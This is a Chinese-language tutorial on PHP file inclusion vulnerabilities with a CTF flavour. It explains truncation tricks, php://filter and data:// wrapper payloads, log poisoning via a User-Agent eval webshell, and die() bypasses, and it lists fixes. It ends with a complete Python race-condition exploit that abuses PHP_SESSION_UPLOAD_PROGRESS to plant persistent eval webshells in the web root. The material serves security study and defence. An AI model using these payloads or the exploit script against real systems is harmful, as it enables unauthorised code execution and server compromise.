原理
文件包含漏洞是指应用程序在处理文件路径时,没有进行足够的验证
导致攻击者可以利用此漏洞读取任意文件,执行任意代码甚至获取系统权限。
这种漏洞通常出现在应用程序中动态引用文件的代码中
或是出现在用户可以控制文件名、文件路径或文件内容的输入参数上。
攻击者可以在这些参数中注入特定的字符,从而构造一个恶意文件路径并被应用程序读取
应用程序没有对这个路径进行验证,最终导致攻击者可以获取系统权限或读取任意文件。
分类
- 本地文件包含
- 远程文件包含 :即加载远程文件,在
php.ini
中开allow_url_include 、allow_url_fopen选项。开启后可以直接执行任意代码。
漏洞利用
【截断包含】
1.%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断
2.路径长度截断:
Windows下目录最大长度为256字节,超出最大长度之后的部分将全部丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
使用超长的../1.php或者一直重复../1.php
【有限制远程文件包含漏洞绕过】
使用?
或者%23
或者%20
截断后缀(已编码)
【使用伪协议读取文件】
参数=php://filter/convert.base64-encode/resource=目标文件
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
file=data://text/plain,<?=`tac f*`;?>
【UA注入后日志包含】
user-ugent:
<?=eval($_POST[cmd]);?>
访问日志文件:
?file=/var/log/nginx/access.log
使用POST执行命令:
cmd=system(“ls”);
在UA中注入编码过的代码不会被浏览器解码
GET请求的参数在存入PHP之前也不会被解码,但是日志在转发到PHO的端口之前就已经写入日志了。
【session临时文件条件竞争】
在.被过滤后php中唯一能无后缀控制的,只有session文件
当开启session时,服务器会在临时目录下创建session文件来保存会话信息,文件名格式为sess_PHPSESSID。一般的linux会将session保存在下面的的某一个目录下:
/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/
web服务会使用多线程接收用户的请求,以确保能够处理并发进程或线程不同的程序段
在多个并发请求时多个进程可能会同时创建同一个session文件
那么攻击者就有可能在服务器创建session文件之前,先创建一个同名的session文件
并利用PHP_SESSION_UPLOAD_PROGRESS设置文件内容,写入攻击者的命令
如果成功存入了恶意文件,就能访问该文件并POST执行RCE
EXP放在了文末
【绕过die函数】
思路:
将die函数的代码语句编码成不能正常执行的命令,然后再将文件内的恶意代码编码成可执行命令。
首先,base64加秘后会忽略掉一些符号以及中文字体
(只有+, / , 0-9,a-z,A~Z,其余字符都会被跳过)
又因为base64加密是4个一组,所以当你随意加上字符补齐die函数的编码时就能绕过die函数
例如
"<?php die('大佬别秀了');?>"解码的内容其实只有phpdie,所以需要再填充两位
另外,因为php://filter伪协议支持使用多个过滤器
所以可使用strip_tags与base64解码的形式来实现绕过死亡代码
例如
?file=php://filter/string.strip_tags|convert.base64-decode/resource=4.php
除此之外,可以通过使用rot13加密让php引擎把该代码识别成乱码
例如
<?=system('tac f*.php');?> ————> <?=flfgrz('gnp s*.cuc');?>
<?=flfgrz('gnp s*.cuc');?> ————> <?=system('tac f*.php');?>
修复方案
- 禁止远程文件包含allow_url_include=off
- 配置open_basedir=指定目录,限制访问区域。
- 过滤../等特殊符号
- 修改Apache日志文件的存放地址
- 开启魔术引号magic_quotes_qpc=on
- 尽量不要使用动态变量调用文件,直接写要包含的文件。
- 使用白名单或安全沙箱技术
- 遵循最小权限原则,确保应用程序具有最小的访问权限。
session文件条件竞争EXP
import requests
import io
import threading
url = '' # 改成自己的url
sessionid = 'truthahn' # 设置PHPSESSID为truthahn,使生成的临时文件名为sess_truthahn
cookies = {
'PHPSESSID':sessionid
}
def write(session): # write()函数用于写入session临时文件
fileBytes = io.BytesIO(b'a'*1024*50) # 设置上传文件的大小为50k
data2 = {
'PHP_SESSION_UPLOAD_PROGRESS':'<?=eval($_POST[1])?>' # 设置sess_truthahn临时文件的内容为<?=eval($_POST[1])?> 实现一句话
}
files = {
'file':('truthahn.jpg',fileBytes)
}
while True:
res = session.post(url,data=data2,cookies=cookies,files=files)
# print(res.text)
#print('======= write done! ======')
def read(session): # read()函数利用session临时文件生成一句话木马,实现rce
data1 = {
"1":"file_put_contents('/var/www/html/3.php','<?=eval($_POST[2]);?>');" # 使用file_put_contents()php内置函数生成名为3.php的shell文件
}
while True:
res = session.post(url+'?file=/tmp/sess_'+sessionid,data=data1,cookies=cookies)
# print(res.text)
res2 = session.get(url+'3.php')
# print(res2.text)
if res2.status_code == 200: #若3.php成功生成,则返回Done!,否则返回失败的状态码
print('++++++++ Done! +++++++++')
else:
print(res2.status_code)
if __name__ == '__main__':
event = threading.Event()
with requests.session() as session: # 为每个函数设置5个线程并发执行,可以适当增加以应对系统执行的系统时间
for i in range(5):
#print('*'*50)
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
#print('='*50)
threading.Thread(target=read,args=(session,)).start()
event.set()